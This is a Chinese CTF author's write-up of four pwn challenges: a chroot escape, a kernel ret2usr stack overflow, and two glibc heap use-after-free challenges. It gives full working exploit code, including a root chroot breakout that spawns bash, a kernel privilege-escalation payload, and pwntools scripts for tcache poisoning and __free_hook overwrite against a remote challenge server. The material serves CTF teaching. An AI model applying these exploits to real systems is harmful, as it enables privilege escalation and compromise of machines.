nyyyddddn

srctf_pwn出题

2024/08/31

题目附件https://github.com/nyyyddddn/ctf/tree/main/srcrf_pwn

chroot escape

啊这,咱没有想到解出来的人很少,因为chroot escape相关的文章网上有很多,这里挑重点说一下,更详细的信息可以看这里

https://web.archive.org/web/20160127150916/http://www.bpfh.net/simes/computing/chroot-break.html

chroot本质上是通过chroot系统调用去更改进程的根目录位置,以限制该进程对系统其他部分的访问。然而,在具有root权限的情况下,可以通过chdir和chroot实现二次逃逸。具体做法是,通过chdir系统调用将当前目录更改成跟目录,然后使用chroot将根目录重新设置为当前工作目录。从而恢复对整个文件系统的访问。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
int main(void)
{
mkdir("sub-dir", 0755);
chroot("sub-dir");
for(int i = 0; i < 10; i++) {
chdir("..");
}
chroot(".");
system("/bin/bash");
}

需要静态链接或者是内联汇编,因为容器里没有装动态链接库

如何上传文件??可以先将数据编码,然后通过终端将编码的数据传上去后再解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
import base64
import sys
import os


context(os='linux', arch='amd64')
context.log_level = 'debug'

is_debug = 0
IP = "110.40.35.62"
PORT = 32794

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def read_file(filename):
with open(filename, 'r') as file:
return file.read()
p = connect()

cmd = '$ '

os.system('base64 exp > exp.b64')
sl('cat <<EOF > exp.b64')
sl(read_file('exp.b64'))
sl('EOF')
sl('base64 -d exp.b64 > exp')
sl('chmod +x ./exp')



p.interactive()

krop

kernel pwn的目的是提权,没有做过kernel pwn的师傅可以看看ctfwiki的knowledge还有ret2usr那一章 https://ctf-wiki.org/pwn/linux/kernel-mode/basic-knowledge/

通过分析 qemu的启动脚本可以知道环境开了什么保护,程序没有开启kaslr smap smep这些保护,-initrd initramfs.cpio 是选择 initramfs.cpio这个文件作为文件系统,题目关键的逻辑在这里面

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash

cd /
timeout --foreground 600 qemu-system-x86_64 \
-m 128M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp cores=1,threads=1 \
-cpu qemu64

环境里面安装了一个vuln.ko的驱动,需要做的事情是逆向分析vuln.ko中有什么漏洞,然后使用c编写和vuln.ko交互的逻辑去利用漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/bin/sh
echo "[*] Init script"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp

insmod /vuln.ko
chmod 644 /dev/simple_ret2usr
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

chmod 700 /flag
echo "[*] Finish..."
echo "IF9fICAgICAgX18gICAgICAgLl9fICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9fICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBfXyAgICBfX19fXyAKLyAgXCAgICAvICBcIF9fX18gfCAgfCAgIF9fX18gIF9fX18gICBfX19fXyAgIF9fX18gICBfLyAgfF8gX19fXyAgICAgX19fX19fX19fX19fICBfX19fXy8gIHxfXy8gX19fX1wKXCAgIFwvXC8gICBfLyBfXyBcfCAgfCBfLyBfX19cLyAgXyBcIC8gICAgIFxfLyBfXyBcICBcICAgX18vICBfIFwgICAvICBfX19cXyAgX18gXy8gX19fXCAgIF9fXCAgIF9fXCAKIFwgICAgICAgIC9cICBfX18vfCAgfF9cICBcX18oICA8Xz4gfCAgWSBZICBcICBfX18vICAgfCAgfCggIDxfPiApICBcX19fIFwgfCAgfCBcXCAgXF9fX3wgIHwgIHwgIHwgICAKICBcX18vXCAgLyAgXF9fXyAgfF9fX18vXF9fXyAgXF9fX18vfF9ffF98ICAvXF9fXyAgPiAgfF9ffCBcX19fXy8gIC9fX19fICA+fF9ffCAgIFxfX18gIHxfX3wgIHxfX3wgICAKICAgICAgIFwvX18gICAgIFwvICAgICAgICAgIF9fICAgICAgICAgICAgXC8gICAgIFwvICAgICAgICAgICAgICBfX19fXy5fXy8gICAgICAgICAgICBcL19fICAgICAgICAgICAKICBfX19fX18vICB8X19fX19fIF9fX19fX19fLyAgfF8gICBfX18uX18uIF9fX18gIF9fIF9fX19fX19fXyAgXy8gX19fX3xfX19fX19fX18gX19fX19fLyAgfF8gICAgICAgICAKIC8gIF9fX1wgICBfX1xfXyAgXFxfICBfXyBcICAgX19cIDwgICB8ICB8LyAgXyBcfCAgfCAgXF8gIF9fIFwgXCAgIF9fXHwgIFxfICBfXyAvICBfX19cICAgX19cICAgICAgICAKIFxfX18gXCB8ICB8ICAvIF9fIFx8ICB8IFwvfCAgfCAgICBcX19fICAoICA8Xz4gfCAgfCAgL3wgIHwgXC8gIHwgIHwgIHwgIHx8ICB8IFxcX19fIFwgfCAgfCAgICAgICAgICAKL19fX18gID58X198IChfX19fICB8X198ICAgfF9ffCAgICAvIF9fX198XF9fX18vfF9fX18vIHxfX3wgICAgIHxfX3wgIHxfX3x8X198IC9fX19fICA+fF9ffCAgICAgICAgICAKIF9fICBcLyAgICAgICAgICAgXC8gICAgICAgICAgICAgLl9fLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXC8gICAgICAgICAgICAgICAKfCAgfCBfXyBfX19fX19fX19fXyAgX19fXyAgIF9fX18gfCAgfCAgIF9fX19fX19fICBfICBfX19fX18gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKfCAgfC8gXy8gX18gXF8gIF9fIFwvICAgIFxfLyBfXyBcfCAgfCAgIFxfX19fIFwgXC8gXC8gLyAgICBcICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKfCAgICA8XCAgX19fL3wgIHwgXHwgICB8ICBcICBfX18vfCAgfF9fIHwgIHxfPiBcICAgICB8ICAgfCAgXCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKfF9ffF8gXFxfX18gIHxfX3wgIHxfX198ICAvXF9fXyAgfF9fX18vIHwgICBfXy8gXC9cXy98X19ffCAgLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICBcLyAgICBcLyAgICAgICAgICAgXC8gICAgIFwvICAgICAgIHxfX3wgICAgICAgICAgICAgIFwvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA=" | base64 -d

setsid /bin/cttyhack setuidgid 1000 /bin/sh


在初始化的位置注册了一个misc设备,然后定义了一个针对ioctl操作的函数,copy_from_user这里存在一个栈溢出,然后因为没有开启kaslr的保护,地址都是固定的,可以使用ret2usr去提权,ret2usr的攻击方式是在内核态执行commit_creds(prepare_kernel_cred(NULL))更改cred结构体为root权限的cred然后使用 swapgs和iret返回到用户态执行 system binsh提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 init_module()
{
unsigned int v0; // r12d

v0 = misc_register(&my_device);
if ( v0 )
printk(&unk_C7);
else
printk(&unk_DC);
return v0;
}

__int64 __fastcall device_ioctl(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v4; // [rsp+0h] [rbp-100h] BYREF

copy_from_user(&v4, a3, 512LL);
printk(&unk_80);
return -14LL;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80;
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0;

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_usermode_status() {
asm(
"movq %%cs, %0;"
"movq %%ss, %1;"
"movq %%rsp, %2;"
"pushfq;"
"popq %3;"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}


void get_shell()
{
system("/bin/sh");
}


void payload()
{
commit_creds(prepare_kernel_cred(0));
asm(
"pushq %0;"
"pushq %1;"
"pushq %2;"
"pushq %3;"
"pushq $get_shell;"
"swapgs;"
"iretq;"
::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}


int main() {

void *buf[0x100];
save_usermode_status();
int fd = open("/dev/baby", 0);
if (fd < 0) {
printf("[-] Failed to open driver\n");
exit(-1);
}
for(int i=0; i<0x100; i++) {
buf[i] = &payload;
}

ioctl(fd, 0x6001, buf);
}

Master_of_memory_management

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int choice; // [rsp+Ch] [rbp-4h]

init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
choice = get_choice();
if ( choice != 1 )
break;
create_chunk();
}
switch ( choice )
{
case 2:
delete();
break;
case 3:
show();
break;
case 4:
edit();
break;
default:
puts("[-] exit()");
exit(0);
}
}
}

unsigned __int64 create_chunk()
{
_DWORD size[3]; // [rsp+4h] [rbp-Ch] BYREF

*(_QWORD *)&size[1] = __readfsqword(0x28u);
size[0] = 0;
printf("size:");
__isoc99_scanf("%u", size);
chunklist = malloc(size[0]);
if ( !chunklist )
{
puts("Error");
exit(1);
}
return *(_QWORD *)&size[1] - __readfsqword(0x28u);
}

void delete()
{
free(chunklist);
}

ssize_t show()
{
printf("-->");
return write(1, chunklist, 0x10uLL);
}

ssize_t edit()
{
return read(0, chunklist, 0x10uLL);
}

存在uaf,但是只有一个位置存储地址,每次申请堆块都会更新这个位置,那?该怎么样申请一个unsortedbin呢?直接申请出来free掉后又会和top chunk合并。通过伪造fake chunk头保证fakechunk和nextchunk是衔接的, double free让 chunklist中有fakechunk的地址,清空tcache key去绕过tcache free的检查。填满tcache后就能申请出unsortedbin了

那怎么劫持控制流呢?可以通过puts的利用链 写libc中的 strlen got表来劫持控制流,通过tcache poison去修改 chunklist的指针可以实现任意地址写,然后写backdoor就好了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "110.40.35.62"
PORT = 32827

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def create(size):
sla(">>>","1")
sla("size",str(size))

def delete():
sl("2")

def show():
sla(">>>","3")

def edit(content):
sla(">>>","4")
s(content)


create(0x58)
delete()

show()
ru("-->")
leak = u64(r(5).ljust(8,b'\x00'))
heap_base = leak << 12
success(f"heap_base ->{hex(heap_base)}")

create(0x58) # reset


create(0xa8) # 填充
edit(p64(0) + p64(0xa1)) # 0x98 udata + 0x8 size + prev_inuse


create(0x48)
delete()
edit(p64(0) + p64(0))
delete() # tcache count > 1

target = heap_base + 0x310
pos = heap_base + 0x3b0
edit(p64(target ^ (pos >> 12))) # tcache poison

create(0x48)
create(0x48) # fake chunk(udata_size 0x88)

delete() # 1

edit(p64(0) + p64(0))
delete() # 2

edit(p64(0) + p64(0))
delete() # 3

edit(p64(0) + p64(0))
delete() # 4

edit(p64(0) + p64(0))
delete() # 5

edit(p64(0) + p64(0))
delete() # 6

edit(p64(0) + p64(0))
delete() # 7

edit(p64(0) + p64(0))
delete() # 8 unsorted bin

show()
ru("-->")
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x7acb8261ace0 - 0x7acb82400000)
success(hex(libc_base))

strlen_got = libc_base + 0x00000000021A098
backdoor = 0x00000000040149C
chunklist = 0x000000000404050

create(0x158)
delete()
edit(p64(0) + p64(0))
delete()

pos = heap_base + (0x2040400 - 0x2040000)
edit(p64(chunklist ^ (pos >> 12)))

create(0x158)
create(0x158)

edit(p64(strlen_got))
edit(p64(backdoor))

# g(p)



p.interactive()

uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int choice; // [rsp+Ch] [rbp-4h]

init();
while ( 1 )
{
menu();
choice = get_uint32();
switch ( choice )
{
case 1u:
add();
break;
case 2u:
delete();
break;
case 3u:
edit();
break;
}
}
}

void __cdecl add()
{
unsigned int idx; // [rsp+8h] [rbp-8h]
unsigned int size; // [rsp+Ch] [rbp-4h]

idx = get_uint32();
if ( idx > 0xFF )
exit(1);
size = get_uint32();
chunklist[idx] = malloc(size);
sizelist[idx] = size;
}

void __cdecl delete()
{
unsigned int idx; // [rsp+Ch] [rbp-4h]

idx = get_uint32();
if ( idx > 0xFF )
exit(1);
if ( chunklist[idx] )
free(chunklist[idx]);
}

void __cdecl edit()
{
unsigned int idx; // [rsp+Ch] [rbp-4h]

idx = get_uint32();
if ( idx > 0xFF )
exit(1);
if ( chunklist[idx] )
read(0, chunklist[idx], sizelist[idx]);
}

glibc 2.31没有 safelink的保护,任意地址写的原语不需要泄露堆地址就可以实现,将stdout链入tcache后 修改stdout,可以覆盖writebase低位字节去泄露地址,也可以通过控制三个写指针精准的泄露某个地址,泄露地址后 修改freehook为 system最后去free一个内容为binsh的堆就能getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "110.40.35.62"
PORT = 32826

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def add(idx,size):
sla(">>>","1")
sl(str(idx))
sl(str(size))

def delete(idx):
sla(">>>","2")
sl(str(idx))

def edit(idx,content):
sla(">>>","3")
sl(str(idx))
s(content)

stdout = 0x404020

for i in range(4):
add(i,0x58)

for i in range(4):
delete(i)

# 3 -> 2 -> 1 -> 0
edit(3,p64(stdout))

add(4,0x58)
add(5,0x58) # stdout
add(6,0x58) # _IO_2_1_stdout_

payload = flat([0xfbad1800,0,0,0,elf.got['free'],elf.got['free']+0x8,elf.got['free']])

edit(6,payload)

r(1)
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - libc.sym['free']
success(f"free_addr -> {hex(leak)}")
success(f"libc_base ->{hex(libc_base)}")


system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']


for i in range(7,7 + 3):
add(i,0x68)

for i in range(7,7 + 3):
delete(i)
# 9 - > 8 -> 7

edit(9,p64(free_hook))

add(10,0x68)
add(11,0x68)

edit(10,b'/bin/sh')
edit(11,p64(system))

delete(10)


# g(p)


p.interactive()
CATALOG
  1. 1. chroot escape
  2. 2. krop
  3. 3. Master_of_memory_management
  4. 4. uaf